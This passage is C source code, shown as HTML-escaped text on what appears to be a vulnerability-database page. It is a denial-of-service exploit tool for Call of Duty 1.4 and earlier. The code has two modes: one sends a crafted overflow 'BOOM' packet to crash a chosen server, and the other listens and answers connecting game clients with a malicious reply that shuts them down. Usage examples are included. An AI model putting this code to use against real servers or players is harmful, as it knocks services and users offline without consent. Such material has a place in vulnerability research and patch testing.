&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on&nbsp;=&nbsp;1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type;
&nbsp;&nbsp;&nbsp;&nbsp;u_short&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port&nbsp;=&nbsp;PORT;
&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[BUFFSZ&nbsp;+&nbsp;1];
&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;&nbsp;sockaddr_in&nbsp;peer;


&nbsp;&nbsp;&nbsp;&nbsp;setbuf(stdout,&nbsp;NULL);

&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Call&nbsp;of&nbsp;Duty&nbsp;&lt;=&nbsp;1.4&nbsp;server/client&nbsp;shutdown&nbsp;&quot;VER&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;by&nbsp;Luigi&nbsp;Auriemma\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;e-mail:&nbsp;[email protected]\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;web:&nbsp;&nbsp;&nbsp;&nbsp;http://aluigi.altervista.org\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;stdout);

&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&lt;&nbsp;2)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\nUsage:&nbsp;%s&nbsp;&lt;attack&gt;&nbsp;[port(%d)]\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Attack:\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;c&nbsp;=&nbsp;broadcast&nbsp;clients&nbsp;shutdown\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;s&nbsp;=&nbsp;server&nbsp;shutdown\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;must&nbsp;add&nbsp;the&nbsp;IP&nbsp;or&nbsp;the&nbsp;hostname&nbsp;of&nbsp;the&nbsp;server&nbsp;after&nbsp;the&nbsp;'s'.\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Some&nbsp;usage&nbsp;examples:\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;codboom&nbsp;c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listens&nbsp;on&nbsp;port&nbsp;%d&nbsp;for&nbsp;clients\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;codboom&nbsp;c&nbsp;1234&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listens&nbsp;on&nbsp;port&nbsp;1234\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;codboom&nbsp;s&nbsp;192.168.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tests&nbsp;the&nbsp;server&nbsp;192.168.0.1&nbsp;on&nbsp;port&nbsp;%d\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;codboom&nbsp;s&nbsp;codserver&nbsp;1234&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tests&nbsp;the&nbsp;server&nbsp;codserver&nbsp;on&nbsp;port&nbsp;1234\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;argv[0],&nbsp;PORT,&nbsp;PORT,&nbsp;PORT);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}

#ifdef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;WSADATA&nbsp;&nbsp;&nbsp;&nbsp;wsadata;
&nbsp;&nbsp;&nbsp;&nbsp;WSAStartup(MAKEWORD(1,0),&nbsp;&amp;wsadata);
#endif&nbsp;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;type&nbsp;=&nbsp;argv[1][0];
&nbsp;&nbsp;&nbsp;&nbsp;if(type&nbsp;==&nbsp;'s')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&lt;&nbsp;3)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Error:&nbsp;you&nbsp;must&nbsp;specify&nbsp;the&nbsp;server&nbsp;IP&nbsp;or&nbsp;hostname.\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Example:&nbsp;%s&nbsp;s&nbsp;localhost\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_addr.s_addr&nbsp;=&nbsp;resolv(argv[2]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&gt;&nbsp;3)&nbsp;port&nbsp;=&nbsp;atoi(argv[3]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n-&nbsp;Target&nbsp;&nbsp;&nbsp;%s:%hu\n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_ntoa(peer.sin_addr),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port);

&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if(type&nbsp;==&nbsp;'c')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_addr.s_addr&nbsp;=&nbsp;INADDR_ANY;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&gt;&nbsp;2)&nbsp;port&nbsp;=&nbsp;atoi(argv[2]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n-&nbsp;Listen&nbsp;on&nbsp;port&nbsp;%d\n&quot;,&nbsp;port);

&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Error:&nbsp;Wrong&nbsp;type&nbsp;of&nbsp;chosen&nbsp;attack.\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;can&nbsp;choose&nbsp;between&nbsp;2&nbsp;types&nbsp;of&nbsp;attacks,&nbsp;passive&nbsp;versus&nbsp;clients&nbsp;with\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'c'&nbsp;or&nbsp;versus&nbsp;servers&nbsp;with&nbsp;'s'\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_port&nbsp;&nbsp;&nbsp;=&nbsp;htons(port);
&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_family&nbsp;=&nbsp;AF_INET;
&nbsp;&nbsp;&nbsp;&nbsp;psz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;sizeof(peer);

&nbsp;&nbsp;&nbsp;&nbsp;sd&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_DGRAM,&nbsp;IPPROTO_UDP);
&nbsp;&nbsp;&nbsp;&nbsp;if(sd&nbsp;&lt;&nbsp;0)&nbsp;std_err();

&nbsp;&nbsp;&nbsp;&nbsp;if(type&nbsp;==&nbsp;'s')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;-&nbsp;Request&nbsp;informations\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(sendto(sd,&nbsp;INFO,&nbsp;sizeof(INFO)&nbsp;-&nbsp;1,&nbsp;0,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;sizeof(peer))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(timeout(sd)&nbsp;&lt;&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Error:&nbsp;socket&nbsp;timeout,&nbsp;probably&nbsp;the&nbsp;server&nbsp;is&nbsp;not&nbsp;online&nbsp;or&nbsp;the&nbsp;port&nbsp;is&nbsp;wrong\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;recvfrom(sd,&nbsp;buff,&nbsp;BUFFSZ,&nbsp;0,&nbsp;NULL,&nbsp;NULL);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(len&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[len]&nbsp;=&nbsp;0x00;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;show_info(buff);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;-&nbsp;Send&nbsp;BOOM&nbsp;packet\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;sprintf(buff,&nbsp;SVBOF,&nbsp;BOOM);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(sendto(sd,&nbsp;buff,&nbsp;len,&nbsp;0,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;sizeof(peer))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(timeout(sd)&nbsp;&lt;&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\nServer&nbsp;IS&nbsp;vulnerable!!!\n\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;recvfrom(sd,&nbsp;buff,&nbsp;BUFFSZ,&nbsp;0,&nbsp;NULL,&nbsp;NULL);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(len&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[len]&nbsp;=&nbsp;0x00;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Server&nbsp;doesn't&nbsp;seem&nbsp;to&nbsp;be&nbsp;vulnerable,&nbsp;the&nbsp;following&nbsp;is&nbsp;the&nbsp;answer&nbsp;received:\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n%s\n\n&quot;,&nbsp;buff);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(setsockopt(sd,&nbsp;SOL_SOCKET,&nbsp;SO_REUSEADDR,&nbsp;(char&nbsp;*)&amp;on,&nbsp;sizeof(on))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(bind(sd,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;sizeof(peer))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;&nbsp;&nbsp;Clients:\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(;;)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;recvfrom(sd,&nbsp;buff,&nbsp;BUFFSZ,&nbsp;0,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;&amp;psz);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(len&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[len]&nbsp;=&nbsp;0x00;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%16s:%hu&nbsp;-&gt;&nbsp;%s\n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_ntoa(peer.sin_addr),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ntohs(peer.sin_port),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!memcmp(buff&nbsp;+&nbsp;4,&nbsp;&quot;getinfo&quot;,&nbsp;7))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;sprintf(buff,&nbsp;CLBOF,&nbsp;&quot;info&quot;,&nbsp;BOOM);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;sprintf(buff,&nbsp;CLBOF,&nbsp;&quot;status&quot;,&nbsp;BOOM);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(sendto(sd,&nbsp;buff,&nbsp;len,&nbsp;0,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;sizeof(peer))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;close(sd);
&nbsp;&nbsp;&nbsp;&nbsp;return(0);
}





void&nbsp;show_info(u_char&nbsp;*buff)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nt&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;&nbsp;*string;

&nbsp;&nbsp;&nbsp;&nbsp;while((string&nbsp;=&nbsp;strchr(buff,&nbsp;'\\')))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*string&nbsp;=&nbsp;0x00;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!nt)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%30s:&nbsp;&quot;,&nbsp;buff);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nt++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%s\n&quot;,&nbsp;buff);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nt&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff&nbsp;=&nbsp;string&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%s\n&quot;,&nbsp;buff);
}




int&nbsp;timeout(int&nbsp;sock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;&nbsp;timeval&nbsp;tout;
&nbsp;&nbsp;&nbsp;&nbsp;fd_set&nbsp;&nbsp;fd_read;
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;err;

&nbsp;&nbsp;&nbsp;&nbsp;tout.tv_sec&nbsp;=&nbsp;TIMEOUT;
&nbsp;&nbsp;&nbsp;&nbsp;tout.tv_usec&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;FD_ZERO(&amp;fd_read);
&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(sock,&nbsp;&amp;fd_read);
&nbsp;&nbsp;&nbsp;&nbsp;err&nbsp;=&nbsp;select(sock&nbsp;+&nbsp;1,&nbsp;&amp;fd_read,&nbsp;NULL,&nbsp;NULL,&nbsp;&amp;tout);
&nbsp;&nbsp;&nbsp;&nbsp;if(err&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;if(!err)&nbsp;return(-1);
&nbsp;&nbsp;&nbsp;&nbsp;return(0);
}




u_long&nbsp;resolv(char&nbsp;*host)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;&nbsp;hostent&nbsp;*hp;
&nbsp;&nbsp;&nbsp;&nbsp;u_long&nbsp;&nbsp;host_ip;

&nbsp;&nbsp;&nbsp;&nbsp;host_ip&nbsp;=&nbsp;inet_addr(host);
&nbsp;&nbsp;&nbsp;&nbsp;if(host_ip&nbsp;==&nbsp;INADDR_NONE)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hp&nbsp;=&nbsp;gethostbyname(host);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!hp)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\nError:&nbsp;Unable&nbsp;to&nbsp;resolv&nbsp;hostname&nbsp;(%s)\n&quot;,&nbsp;host);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;host_ip&nbsp;=&nbsp;*(u_long&nbsp;*)(hp-&gt;h_addr);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return(host_ip);
}



#ifndef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;void&nbsp;std_err(void)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;\nError&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}
#endif
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1
42